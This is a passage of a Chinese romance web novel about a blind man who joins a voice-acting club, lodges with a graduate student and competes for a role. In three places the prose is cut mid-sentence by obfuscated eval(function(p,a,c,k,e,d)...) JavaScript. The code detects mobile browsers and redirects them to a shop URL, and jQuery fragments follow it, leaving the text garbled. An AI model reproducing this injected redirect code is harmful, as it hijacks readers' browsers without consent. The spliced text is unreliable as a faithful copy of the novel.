末了,一起吃过饭,走在回家的路上,小瞎子那张嘴还没个消停。 说着对配音的好奇,说着麦克风粗砺的手感,说着配音室完美的隔音,像只激动的小狗。 瞳孔被路灯照得亮亮的,没有神采,也有了神采。 陈政年心思还是动了,用最平淡的语气说出让何乐为惊愕的话,“那要不要来我们这?” “什么?” “我们最近招人,急要,来的话,你现在的工作就要辞掉。”他想把所有弊端都列出来,让何乐为知难而退。 可当人真的犹豫时,他又觉得胸口闷得慌,难以言说。 此时他还不知道,这是一种称之为“万事要将我放在第一位”的占有欲作祟。他只知道,如果何乐为嫌钱少,嫌工作不稳定,他可以给他发工资,他可以一辈子都不开除他。 “我还是要考虑一下。”何乐为说。 说实话,是心动的。 配音给他带来了不一样的体验,完完全全靠自己的能力去丰满一个纸片人物,比他干过的所有工作都要让人期待。 但是是残联会长那边,不太好交代,没有人上一周班就走的,这也太不给面子了。 他没有明说理由,陈政年有些烦躁,这样的心情持续了好几天,甚至在做实验的时候被教授察觉。 “年轻人,心浮气躁办不成事。” 陈政年说着抱歉,脸色却没有变。 “唉真不知道你们在想什么,”蒲教授摇摇头,并不细问,“想做的就去做,有问题就解决,何必为了一点小事影响几天心情。” “等你到了我这个岁数,就明白,什么都是过眼云烟,没什么大不了的。” 他拍拍陈政年的肩,放他做完数据就早点回家休息。 陈政年洗完澡,又把论文初稿从头到脚检查了一遍,实验数据还是不够丰满,他打算明天起床再回学校琢磨。 于是早早躺在床上,却翻来覆去睡不着,闭眼耳畔回响的全是教授的话。 陈政年坐起来,叹一口气,拿起手机拨通了何乐为的手机号码。 小瞎子可能是睡了,过好久才接起来,声音软绵绵的,“喂?” 陈政年喉结滑动:“何乐为,你真的不考虑过来吗?” 18. 同居 何乐为正式成为了聆音社团活动一员,是首个校外成员,也是首个盲人配音老师。 他跟残联会长坦白这件事的时候,会长非常善解人意:“去吧,去干你想干的事,我们都支持你。” 可把何乐为感动得一塌糊涂,带着全组织会员们的希望开启了新征程。 然而刚报道第一天,就出现不少新状况,比方说何乐为需要一份盲文学习资料和台本,但是以现在社团的能力确实难以实现。 抛开工作上的问题,通勤也很让人头疼。 配音社团的正式员工要求每天到岗,早九晚五,那么盲人出行的不便之处就展现得淋漓尽致。 何乐为家其实离学校不算太远,大概两公里,有公交,但下了车到学校,还需要走一段路。 寻常人骑个共享自行车也就到了,但瞎子不行,路不熟,而且弯绕,不容易记。 总不能每次何乐为到站,就派人出去接,这不现实。 况且大家一致认为,让一个盲人天天独自出门上班,实在危险。 何乐为说没关系,“我之前在残联也是自己上班的。” 但这说服不了大家,尤其是知道他每年都有去残联参加活动。 熟悉的路和完全不熟的路怎么能一样,就算是视力健全的人,头几回走也可能迷路,更何况何乐为。 “学校床位也不知道能不能给你申请。”谢泽霖抓着手机,挠挠后脑。 吴苏雅突然想起来,“诶!老大的床位是不是还在?” “对,他又不住,而且也没退宿。”谢泽霖转手直接拨给陈政年。 陈政年刚做完一项实验,记着今天是何乐为报道的日子,本来想打个电话过去,谁知道谢泽霖打过来了。 “什么事?” 谢泽霖打开免提:“你宿舍那张床能睡人不?” “可以,怎么了?”信号不是很好,陈政年的声音听起来沙沙的。 何乐为竖起耳朵,把脑袋凑上去:“可不可以借你的床睡觉啊?” 陈政年愣了一下,谢泽霖就跟他把刚才的事粗略解释了。 “可以借,但现在不行。” “为什么不行?”何乐为瘪嘴,问。 不用看,陈政年都能想象到小瞎子那表情,唇角微微抬了抬:“暑假,封楼了。” 谢泽霖就告诉何乐为说,放假期间,学校的教学楼和大部分宿舍楼都会贴上封条,不允许进出。 “啊?这样啊,那我还是回家住吧。” 何乐为本来就不觉得是什么大事,他自己可以,路不熟,走多几次就熟了。 “不行不行,万一你出了意外,我们是要负责任的。”谢泽霖不同意。 吴苏雅心肠软,也说:“对啊,要是出事了,该怎么跟你父母交代呀?” 何乐为没好说自己父母已经不在了,也很感谢她这份关心,但房子的事不好解决,他也不想给大家添麻烦。 “没关系的,不会出问题的。”何乐为信誓旦旦说。 谢泽霖也没辙了,玩笑说让何乐为到他没封楼的宿舍去挤一挤,“两个人睡更暖和。” 但其实就按学校床铺的规格,睡一个成年男人都嫌小。 就在大家都束手无策之时,通话那边的陈政年突然发话:“住我那吧。” “就这个暑假。”他补充说。 谢泽霖两手一拍:“那敢情好啊!” 陈政年的公寓就在学校隔壁,五分钟的行程,一条线直走,还不容易出错,简直是何乐为最佳的住宿之所。 何乐为还没反应过来呢,不知道是愿意还是不愿意,头顶几戳呆毛翘起,看起来懵懵的,谢泽霖就推他一下。 “怎么样?去老大那里住俩月?” 何乐为回过神,想客气地推脱两句,但耐不住躁动的心脏在发颤,“可以的,谢谢陈、老大了。” 现在陈医工也是他的老大了。 就这么愉快决定了,何乐为轻车熟路再次住进陈政年家,他已经盘算好了,一发工资就给陈老大交房租! 一切准备就绪,专业的配音学习也提上日程,刚开始由谢泽霖带他初步了解配音流程和简单的技巧学习。 大概因为在盲人的世界里,声音是主宰。多数盲人为了谋生,在盲校系统练习过发音,所以这一部分,完全不需要操心。 加之何乐为做过客服,普通话更不用说,标准得很。 但配音听着好像只是动动嘴的事,其实并非如此。它更像在演绎一出戏,需要全身心的浸入和体会,总结出自己对角色独到的见解。 何乐为每天忙于练习,优秀作品听了一部又一部,自己也会找一些好的台本,用盲文誊抄下来。 他以为自己已经够忙了,然而每天回到家,陈政年还没有回来。 “都快9点了啊。”最近陈政年甚至不在家吃饭了,经常等到何乐为躺上床,他才到家。 明明住在一起,两个人的时间却完全错开,见不了几面。 本以为在社团里可能会碰上,谁知道自何乐为入职后,陈政年就再也没回来过。 要不是晓得他是真忙,换别个来都会多想。 何乐为叹叹气,门锁突然开了,他一下从沙发上站起来。 “老大,你回来啦!”他现在“老大”越喊越顺口了。 陈政年带着一身疲惫进门,听见称呼,眉头蹙了蹙。 他不太喜欢何乐为这么叫他,这就跟所有人变得一样,无甚区别。 但他同样不理解自己产生的情绪,一不一样,又有什么关系,又会影响什么? “还没睡?”陈政年问。 何乐为说:“没到点呢。”他曾经守时的习惯精准到令人发指,指针一到十点,必然上床睡觉。 但最近却有些波动,原本只要沾了枕头就能睡着,现在还要在床上翻来覆去滚个几圈,等听见外面开门声才能安然入睡。 两个人能交流的机会实在太少了,纵使知道陈政年累,何乐为也不愿意轻易放过他。 他可是“X”啊,即使和想象有出入,依旧是夜里以声音伴何乐为睡梦的偶像。 配音上的问题和困难完全可以请教他! “我这几天在社团学到了很多配音知识。” 陈政年先进厨房给自己倒杯水,灌了两口,才问:“学得怎么样?还适应吗?” “唔……”何乐为仰着头,嘴唇颜色淡淡的,上下开合:“今天试着配了一段,但是阿霖说我还不够好。” 他变得有点沮丧,眼皮耷拉了一半。 陈政年却因为那声“阿霖”,黯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092605|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡眸光。 “还记得台词吗?念来听听。” 何乐为早有准备,摸着沙发和墙壁酷酷跑回房间,从背包里掏出一份盲文台本。 他回来,盘腿坐到沙发上,指尖在纸上一个个突起滑过去,边滑边读。 读完一段,陈政年那边没反应,何乐为就迷茫地扬着头。 嘴唇微开,隐约露出红润的小舌头,把手指伸进去会怎么样?陈政年就这样看着,莫名生出一股不合时宜的摧毁欲。 “很差劲吗?”何乐为泄气地垂下脑袋。 陈政年凝神,简言意骇:“飘了,气息不稳。” “那要怎么办?有解决方法吗?”何乐为急急地坐直身体,与陈政年的距离顿时缩短,只稍稍偏头,鼻尖就能互相触碰。 陈政年没忍住把人按下,“有,你坐好。” 他说的方法是调整发声,发生部位由声带改为腹腔,何乐为自己试了几次,但没能成功,还是一头雾水。 “坐直,腿放下来。”陈政年忽然把掌心覆在他的腹部,一令一动:“呼气,吸气……” “放松。”小腹在手下鼓起、又凹下去,温度升起来了,一时竟不知是陈政年的手掌更热,还是何乐为的肚子更热些。 呼吸有点乱了,像被人把住命门,却不能够暴露出慌乱,何乐为强装镇定,努力让自己专注于呼吸中。 然而,无法视物的弊端在此时展现得淋漓尽致,其他感官放大到极限,他嗅着薄荷香,快要溺死在这气息里。 陈政年让他尝试在呼气的时候发出“嘶嘶”声,然后抓着他的手放到腹部一起感受,当起伏规律,就可以练习念词了。 “诶!好像真的好了很多!”何乐为惊奇道。 陈政年收回手,站起来,临走前顺势揉了揉他的头发:“自己多练。” 何乐为一下顿住,陈、老大竟然摸他头了! 抱着某种神奇的激动一夜无眠,顶着两大黑眼圈去上班,谢泽霖见了都不忍心再压榨打击他。 “没事,你可以的,今天就有进步。” 何乐为说多亏了他们老大,大家就立刻围着他八卦,“老大对你是真不一样,他哪有闲心教我们。” “他只会骂人。” 陈政年还会骂人?何乐为很好奇他发起火来会怎么样,又忽然想起来上次拆石膏不就被骂了吗? 他把这事跟大家说了,他们却说:“这算什么,老大嘴可毒了。” 何乐为离奇他还有毒舌的时候,刚要细问,谢泽霖就赶大家干活去了。 不得不说,阿霖对待工作就跟变了个人似的,还挺认真。 何乐为想上厕所,他现在已经把协会内部的路摸熟了,完全能够自己去,于是便拿起盲杖出发。 厕所离他们办公的地方不远,走三十步有个拐角,右拐之后再走大概十步就到了,左边男厕右边女厕,有无障碍隔间。 他刚锁上门,听见外头有别人进来了,是吴嘉的说话声,好像在跟谁争吵。 “凭什么?这个角色本来就是我的,社长凭什么塞一些不三不四的人进来?” 接着响起的居然是谢泽霖的声音:“你不是没有档期吗?时间紧,我们也是为了社团考虑。” “考虑什么?就凭那个什么也不懂的瞎子?” 19. 偏心 “吴嘉!”谢泽霖加重语气。 吴嘉情绪激动:“我怎么了?我说错什么了?他什么都不会,眼睛看不见还得给他弄盲文,不是个麻烦吗?” 何乐为皱眉,明明盲文台本都是他自己戳的,没有麻烦别人。 “吴嘉,你冷静一点。” “我冷静不了,”吴嘉听着快哭了,“这个大制作,全体社员都参加,大家都有戏份,为什么唯独我被排除在外?” “不公平,一点也不公平。” 何乐为听见谢泽霖笑了一下:“你手上的项目很差吗?主役,出品方也小有名气,你能拿的比录这个多得多,多少人想要你的位子,想过吗?” 吴嘉的音色和何乐为同属一卦,清爽干净的少年音,稍微夹一点,能变成正太,在配音界简直可以横着走。 “我这几天都有加班加点,很快就能结束手上的工作,《青山之行》能不能给回我?” 《青山之行》就是何乐为目前正在着手的大制作。 谢泽霖捏一下眉心:“吴嘉,你是个成年人。” “我拿回属于自己的东西有什么错!”吴嘉知道事情难以改变了,就冲人大吼。 谢泽霖处在发怒的边缘,但碍于情面一直忍耐,两人僵持不下,谁都没再开口。 作为对话中的当事人瞎子何,正在考虑着现在出去劝架会不会被大家当作是添乱。 犹豫得戴上痛苦面具了,又听见有人进门,这下好了,尴尬的事不需要他做。 “谁说是属于你的?”陈政年像听见个天大的笑话,冷漠又直白地嘲讽:“我当是谁,这么大能耐,社长你来当好了。” 吴嘉看见是他,眸光顿时闪了闪,脸色渐渐苍白,在隔间里的何乐为更是惊掉下巴。 陈政年怎么来了?他不是天天只知道泡在实验室里吗? “吴嘉,社团一开始就没有想过让你参与录制《青山之行》。”谢泽霖告诉他。 吴嘉咬着牙:“为什么?因为我手上还有项目吗?” “吴嘉,那个角色不太适合你。”谢泽霖尽量不给陈政年开口的机会,他气已经消了,千万不能让事情变得更严重。 吴嘉不相信:“我是我们社团唯一的少年音,除了我还有谁能录?” “不是唯一。”陈政年淡淡纠正。 吴嘉脸色越发难看,“我不信,我怎么不合适?” 谢泽霖叹了口气,吴嘉是上一年招进来的,比他们小两届,刚来的时候人还很青涩,让干什么就干什么,说一不二。 因为少年音稀缺,偏偏这两年又流行,吴嘉要干的活越来越多,慢慢成为了团队的一二把手。 可人总是要变的,站在被人追捧的高位上,时常忘记最初的模样,眼被蒙蔽了,心也不清醒,变得骄矜高傲。 《青山之行》有个角色,名唤青宵,是主角的弟弟,戏份很少,却尤其出彩。 他是一个纯净得宛如一汪清泉的赤子,天真无邪,认定世界只有善,没有恶,至始至终都是个正面角色。 可惜他的结局并不好,故事中途被友人背叛,但他以德报怨,最后甚至用命救了对方。 在成年人眼里,这是蠢到极致的傻子,可没人会讨厌他。 他太过于善良,哪怕多一点外在的污染,都觉得残忍。 曾经的吴嘉也许很合适,但现在的他不行。 谢泽霖还是没忍心直说,“你应该知道,我们这两个月一直在招人。” 吴嘉抬头看他。 “就是为了这个角色。” 吴嘉难以置信地摇头,他开始害怕了,他从来没有想过有人能取代他,“不是的,你骗我,这个角色明明就是我的。” “那我现在告诉你,《青山之行》你配不了。”陈政年声音很平静,却带有深刻的压迫力,“你想知道理由,我也能告诉你,因为现在的你,很差劲。” “所有人都在进步,只有你,连保持状态都做不到。吴嘉,你太骄傲了,可你根本没有这样的实力。” “你没资格,也不配录《青山》。” 何乐为算是知道大家为什么都这么怵陈政年了,他骂人不凶也不带脏,偏偏句句直捣心窝子,算是一场很平静的暴风雨。 何乐为都要心疼吴嘉了,倒也不必把人说得这么不堪。 “何乐为,出来。”陈政年敲了一下门。 ?!陈政年是怎么知道他在这的? 何乐为不敢动,门又“砰砰”响了响,他只好拉开锁闩,摸索着走出去。 手腕被人拉住,自然地放进臂弯里。 吴嘉忽而暴起,直指陈政年二人:“不公平,你偏心,因为他眼睛瞎了就能获得特权吗?” 何乐为听见陈政年笑了一下,顿感大事不妙,便自己抢先说:“那我们比一比吧,让大家投票,谁赢了谁就拿下角色。” 他不想让陈政年为难,也不希望让大家觉得他是个瞎子所以没用,只有公平公正地比一场,才能够真正说服所有人。 何乐为并不觉得自己会输,他相信谢泽霖和陈政年选中他,一定是有理由的。 他现在对比吴嘉也许还差十万八千里,但只要给他一点时间,只要一点点,他会拼尽全力。 “好,这可是你说的,一周后,在社团录音棚比。”吴嘉终于收敛了气焰。 何乐为说可以。 一场闹剧终于散场,演变成何乐为不眠不休的练习。 晚回家的人变成了他,有时候呆到录音棚只剩两个人,大家不让盲人最后走,只能一个劲儿地催他离开。 何乐为还经常意犹未尽,但也不敢打保票自己能锁好门窗,往往带着遗憾离开。 回家又继续练,陈政年饭吃了澡洗了,甚至连每天的实验数据都整理完了,闲下来就有功夫指导指导他,两个人常常弄到凌晨。 “两点,该睡觉了。”陈政年说。 “等会儿等会儿,再练一段。”何乐为精力旺盛,半点没觉得累,他感觉自己现在强得可怕,可以上台打擂了。 陈政年说不行,“到点了,我困了。” “那你先去睡吧,晚安老大哥。”何乐为拍拍他。 陈政年不知道“老大哥”这个称呼又是怎么冒出来的,伸手拉了拉何乐为,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092606|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然没有拉动,小瞎子重了。 “明天再练,现在去睡觉。” “不要,我不去,你先睡。”何乐为就赖在沙发上不动了,反正就算现在回去躺着也睡不着的。 他想,只有自己赢了比赛,大概才能睡个好觉。 “何乐为,熬夜嗓子会坏。”陈政年不咸不淡说。 果然,小瞎子“唰”地抬起头:“啊?真的吗!” “嗯。”假的,陈政年没什么良心地骗他。 何乐为苦恼地叹叹气,“那是得去睡觉了,嗓子熬坏了可不行。” 他朝前面伸出手。 陈政年问他干嘛,他说:“你不是要拉我起来吗?” 他就听到对方很轻地笑一下,“脸挺大。”伸出的手却被抓紧。 “等会儿哈。”何乐为脚在地上划船那样划了几次,却没找着鞋子,掌心上陈政年的手就松开。 没一会儿,足尖被套上两只拖鞋。 “啊……谢谢陈医工。”他扬起大大的笑,和最开始视频通话里见到的同样夸张。 手再次被握住,何乐为借力猛地站起来,谁知道借太过了,重心不稳一个前倾,直接撞进陈政年怀里。 嘴唇无意间碰上一块的东西,触感很怪,又软又硬的,没感受太久,一触即分。 但薄荷香化不开了,就钻进唇缝中,凉凉的,顺着喉咙往下。 陈政年单手撑住他的肩,让人站稳。 “骚瑞啦。”何乐为抱歉说。 陈政年拧起眉头:“你跟他们学了什么乱七八糟的?” “什么什么乱七八糟的?”何乐为觉得很有趣啊,他英语差,连最基础的谢谢、对不起都不好意思往外说。 但发现大家把口语魔幻化了之后,说出口就变得容易许多。 “不准乱学。”陈政年寒声道。 何乐为就“哦”一声,说要回去洗漱睡觉了。 他连同柔软的温热一起带走,只能靠微小毛孔努力汲取余温,陈政年在原地站了很久,最后还是抬起手,指腹摸了摸喉结。 和曾经想的一样,小瞎子的嘴唇,软得像果冻。 一周的时间着实快得骇人,尤其每天经历高强度练习,社团、住处两点一线,就好像眼睛一闭一睁,比赛的日子就到了。 “别紧张,照常发挥就好。”谢泽霖左右拍拍他们的肩。 何乐为说不紧张,吴嘉这边则冷哼一声。 跟他比,简直是自不量力,吴嘉甚至考虑要不要放点水,别让瞎子输得太惨,毕竟那是陈政年的人。 比拼的片段早在一周前定好,所以双方都对台词铭记于心,直接上场就可以了。 “你们谁先,还是要抽签?”谢泽霖刚问,门外传来脚步声。 与此同时,吴苏雅的声音也响起:“诶,老大也来了。” 何乐为听出来是他,唇角勾一下,这人也学会蒙人了,昨天明明说忙,不过来看比赛的。 不过人来了,何乐为就高兴,感觉自己又多了一分底气。 “我先来吧。”他说。 小瞎子·何已经准备就绪! 20. 比赛 “哥哥,山的背面有什么?有和我们一样的人吗?” “如果有,我要把我的小黄送给他,跟他做朋友。” “你不要怪他,他还没长大。” “哥哥,我好疼,但是他不会死了,我也好高兴。” 选取的片段正是《青山之行》青宵的戏份,何乐为录到最后,眼泪直接掉出来,他入了戏,台词念完,也久久不能平复。 呆在录音棚里一直没有离开,没人敢进去打扰他,就连吴嘉,站在玻璃外,视线定在何乐为身上,咬着下唇,脸色算不上好看。 “表现力真不是盖的。”有个小社员惊叹道。 “不错是不错,就是缺乏经验,技巧掌握得还不是很熟练。” 吴苏雅也被何乐为突飞猛进的实力震撼,“能在短短一周提高这么多,已经很厉害了。” 谢泽霖笑得见牙不见眼,作为“老师”,他表示非常满意,朝陈政年扬了扬下巴:“怎么样?我说他很有天赋吧。” 陈政年没理他,几步越过众人,走进录音棚去,小瞎子还垂着脑袋,泪珠噼里啪啦地掉。 听见有人进来,急忙忙从剧情中抽离,用手背胡乱抹几下脸颊,把泪都擦掉。 “糟糕了,眼睛要更坏的。”何乐为懊恼。 年纪小那会儿,经常被何鸿宇欺负,鼻子都哭堵了,婶婶就捏着他耳朵,“哭哭哭,就晓得哭,再哭眼睛治不好了。” 这话他到现在都还记得,纵使知道婶婶有万般不好,但“哭会伤眼”的概念却是永久性地刻进脑海里。 不能哭,哭坏了,就连光都看不见了。 “坏什么?”陈政年帮他把挂在脖子上的耳机摘下来,塞两张纸巾到人手上。 “哭了眼睛会更坏的。”他一本正经地说,眼角还挂着晶莹的泪珠。 陈政年顺手给抹了,好笑道:“谁告诉你的?谁跟你说哭了眼睛会坏?” “适量的泪液能够清洗眼球的表面,起到润滑眼球、杀菌、稀释有害物质的作用,对于保持眼睛健康是有益的。” “啊?真的假的?”何乐为听得一愣一愣的,“那书里面怎么还总有人哭瞎?” “从医学角度来说,单纯的哭泣并不会导致失明。除非你说的书里的人患有急性闭角型青光眼或者严重的角膜炎。” 何乐为吸了吸鼻子,“没听懂,但我觉得你说的有道理。” 不过他也已经不哭了,情绪收回来,对青宵的惋惜也戛然而止,被陈政年不客气地拽着带出录音室。 “录得不错,辛苦了。”谢泽霖搭一下何乐为的肩,很快又放下来,“吴嘉,你准备好了吗?” “嗯。”吴嘉走进录音棚。 他显然比何乐为熟练多了,声调的精准拿捏、气息的平稳以及技巧的运用,都在往外彰显着他是一个成熟的配音演员。 他的表演无疑是完美的,从技术上看,没有半点儿毛病,可就是让人感觉缺了什么。 情绪的波动像被放在刻度尺上测量,不多不少,过于准确,反倒失真。 “开始投票吧,一人一票,可以弃权,但不要多投。”谢泽霖说。 到场的人还是不少的,都是社团内部人员,新老人都有,前台配音、幕后编辑,连修音师都来了,分配倒是很平均。 何乐为听见很多人在小声嘀咕:“你投谁?” “吴嘉,他实力确实强,而且为我们社团做了很多事。” “那我也投他吧。乐为还欠了点火候,不过天赋很高,以后肯定能接到好角色。” 何乐为渐渐生出点紧张感,五指抓紧衣角。 其实吴嘉在录音的时候,他就已经预料到结果了,虽然猛追赶跑,但他们之间的鸿沟不是一朝一夕就能够填补的。 输了的话,陈政年和谢泽霖会失望吗? 他不知道,他主观不想他们失望,但客观上讲,输是必然的,何乐为自己倒不会太难过。 只会有些遗憾,不过就像方才他们所说,他才刚进入圈子,总会遇上好角色的,并不急于一时。 “吴嘉17票,何乐为15票。”谢泽霖清点手中的纸条,宣布说:“吴嘉赢了,恭喜。” 果然,和猜想一模一样,何乐为感觉后脑勺被人很轻很轻地抚了一下,轻到他以为是自己多想了。 身边很多人在起哄,也很多人过来安慰。 “还好吗?”谢泽霖低声问他。 何乐为笑说:“挺好呀,我甘拜下风,不过也虽败犹荣。” 身旁陈政年什么话也不说,何乐为想,可能是自己真让人失望了,给他们老大整不会了。 但输了就是输了,本来就是他技不如人,他往虚空中胡乱抓了抓,像小婴儿那样,要去找陈政年。 所幸一下就得偿所愿,指尖碰到对方滑溜溜的冰凉的手臂,撸狗似的摸了摸:“我会努力的,不要生气。” 陈政年也不知道自己什么时候在何乐为那演变成了爱生气的暴躁男人形象,额角微微抽搐,“没生气,你再接再厉。” 然而赢的那方似乎没有想象中愉快,很多人都在祝贺吴嘉重新拿回角色,可他眼神至始至终只落在何乐为身边,一言不发。 “这个角色我不要了。”吴嘉突然开口,是对着陈政年说的。 周遭瞬间安静下来,折腾这么久,就这样放弃了? 吴嘉视线转向何乐为:“我不需要施舍,你想要就给你好了。” 大家都没太懂吴嘉的意思,谢泽霖却笑了:“那就这样定了。你们一个配主役,一个配青山,各司其职,都认真做好自己的工作。” 直到要回家,何乐为也没想明白吴嘉为什么要把角色让给他。 他问了陈政年一路,陈政年让他自己猜,“我脑子笨,猜不到,你就告诉我吧。” 瞎子一小段路也能走得磕磕绊绊,好在如今学校放假,路上行人少,不然以后人一多,他一个人该怎么回家? 陈政年发现自己想远了,当初说好的是暑假借住,等开学,何乐为就不跟他一起了。 他有些烦躁,习惯是把腐蚀神智的利刃,他渐渐开始失去支配自己的能力,随着另一个人的入侵而颓废,甚至没有反抗。 说实话,他讨厌这种失控的感觉,却又不自觉耽溺于那温和的泥潭之中。 “求我,求我就告诉你。”他卑鄙地、恶劣地,想要扳回一城。 何乐为并没有什么精神负担:“好啊,求求你了。” 他自然而然地来回甩陈政年的手,像肥皂偶像剧里,傻白甜女主朝男主撒娇那样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14092607|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 从哪里学来的,眼睛又看不见。 “没诚意,不说了。”陈政年淡淡道。 “哎呀,别啊。”何乐为抓紧他的手,将盲杖和手臂一起抱进怀里,像是生怕人离开。 毛茸茸的头发蹭到皮肤,何乐为仰着脑袋,视线分明没有目的地,却又很巧合地落在陈政年脸上。 太乖了,眼皮一眨一眨,有多少根睫毛都能数清楚。 被依赖的感觉实在让人受用,陈政年决定大发慈悲不再逗他,揉了一把何乐为的头发:“他把角色让给你,是因为他觉得自己输了。” “嗯?什么意思?”何乐为歪一下头,侧脸就直接枕在人胳膊上。 陈政年眸光敛了敛,不动声色地把手臂抽回来:“在他那,你已经赢了。” “所以他认输了?!”何乐为冲地面猛敲一下盲杖。 “嗯,算是。” “我录得这么好吗!”何乐为顿时有些沾沾自喜,一激动又没了分寸,往陈政年身上靠:“那你把票投给谁了?” “肯定是我对吧?”他太高兴了,以至于整个人都懒洋洋地赖在陈政年身上,落日余晖,眼前是一片金光。 世界真好,他爱这个世界。 陈政年的声音也变缓了:“你猜。” “我不猜,就是我,对吧?”何乐为直起身子,突然被叫卖声吸引了注意力。 “冰糖葫芦,最后一串,便宜卖咯便宜卖咯。” 何乐为耳朵立刻竖起来,“冰糖葫芦,你吃过吗?” “没有。”这种路边的小摊小贩陈政年一次也没碰过,汽车经过时扬起的灰尘这么大,谁知道混了多少进去。 “啊……”何乐为遗憾地耷拉眼皮,忽而猛地撑开:“我也没有吃过,我们一起去吃吧!” 陈政年说不,何乐为又像之前那样挽着他的手,晃来晃去:“就一串,我们一起吃。” 小瞎子磨了很久,嘴都要磨出泡来,陈老大终究还是屈服于他的“淫l威”之下,破格给他买了一串。 何乐为刚拿到手,鼻子就凑上前嗅嗅:“甜甜的气味。” 冰糖葫芦,以前总是在书里看到,他想吃好久了。 也不知道南方的冰糖葫芦跟北方的一不一样,正不正宗,不过他没心思管那么多了。 抬起指尖正要将山楂球给拔下来——这是残联会长推荐的盲人吃法,手指倏地被人捉住。 “你干嘛?很脏。”陈政年语气有点凶。 “可是不摘下来我就吃不了了。”何乐为委屈巴巴,难过道。 他其实早在很多年前,就有碰到过卖冰糖葫芦的。 那时候小叔叔带着他们一起出去玩,婶婶给何鸿宇买了冰糖葫芦和棉花糖,却漏了何乐为。 小叔叔见状,说要给他一份,被婶婶拦住了。 “婶婶说冰糖葫芦上有竹签,不能给我碰。”何乐为吧唧嘴,把糖衣咬得嘎嘣脆。 陈政年把咬过的那块儿转了个面,继续递到何乐为嘴边:“所以你就不吃了?” “是不能吃。”何乐为强调。 “我也想吃棉花糖,想知道棉花糖是不是和我的棉被一样软?我还想吃串串,我试过点外卖回家,把肉从签子上剥下来的时候,但经常会弄得乱七八糟。” 21. 摸脸 他嚼着糖葫芦,还能说个没完没了,从想吃棉花糖到烤串,又转回来说糖葫芦太酸,还有点粘牙。 “肯定是买着盗版了。”何乐为舔两下嘴唇,然后问:“你要不要尝一下?” 说好两个人一块儿吃,就他自个儿吃独食,好像不太好。 陈政年也不清楚冰糖葫芦还有正盗版之分,听着感觉不对劲,眯起眼反问:“盗版的就让我吃?” 何乐为咯咯大笑,扭着脖子说:“我真没有这样想啊,这是你自己乱猜的。” “我不爱吃甜。”陈政年拒绝,把最后一颗葫芦放到他嘴边。 何乐为咬了一小口,酸得小脸皱起来,还咬牙坚持说:“就尝一口嘛,别浪费了。” 太酸了,不让陈政年尝一口,怪可惜的。 “你尝。”他继续劝,“就一口,我真的吃不完了。” 陈政年没作声,何乐为以为劝不动了,于是放弃地叹了叹。 谁知道甜丝丝的气味远了,耳边响起“咔嚓”糖衣破碎声,接着是一连串咀嚼。 陈政年把他咬过的糖葫芦全部吃掉了。 末了,何乐为还有点难以置信,呆呆地问:“好吃吗?” “还行,挺甜的。”陈政年平静道。 何乐为甚至怀疑他的味觉神经是不是出现了问题,“酸死了,你嘴巴得去治治。” “不用了,我算半个学医的。”陈政年淡淡地跟他呛。 何乐为觉得好笑,又一个人莫名其妙地笑了好久。 很多时候,陈政年都不懂他的笑点,他总是那么奇怪,又不叫人讨厌。 “陈政年。”何乐为很少这样正经地、连名带姓地喊人名字。 陈政年用纸巾擦干净手,把签子丢进垃圾桶,应他:“嗯?” “我想摸摸你,可以吗?”何乐为说,干净纯洁的表情让人无法对这句充满歧义的话产生过多遐想。 “摸哪?”陈政年低声问。 何乐为说脸,“我想知道你长什么样。” “摸了就能知道?” “嗯,摸了我就知道了。” 陈政年失笑:“那我要是长得很丑,你怎么样?” 何乐为还真就假装苦恼地思考了一会,“能咋样,还能绝交咋滴?” 陈政年不回话,也没说让不让摸。 不过相处久了,何乐为胆子也大了,擅自伸出手,顺着对方的肩膀往上攀,一路摸过侧颈,抵达下颌。 因为隔得远,手伸不到更长的位置了,陈政年实在比他高太多。 突然感觉指尖贴着的地方往下降了降,降到可以摸全整张脸的高度,陈政年开口问:“何乐为,你想摸的是我,还是‘X’?” “那不都是你吗?”何乐为笑了,对他来说,这有什么区别。 陈政年不说话,“X”只是他塑造的一个外界会喜欢的形象,从来都不是他。 “刚开始知道你是‘X’的时候,确实有点意外,就一点点。”他五指慢慢描摹着陈政年的轮廓,划过高挺的鼻梁。 因为是单手,所以很慢很慢,慢得认真,像是想要深刻记住指尖下的所有弧度。 陈政年第一次从外人身上,产生出一种“自己很珍贵”的错觉。 “不过后来觉得,‘X’由你这样的人去打造才更生动。”何乐为放下手,点了点盲杖,脚步轻快地走起来,“回家吃饭啦。” 陈政年直起弯下的腰,眸光微敛,“我这样的人?什么人?” “嗯……不算什么好人?”何乐为开玩笑,转而又轻声改口:“但是你其实很好,对我特别好。” 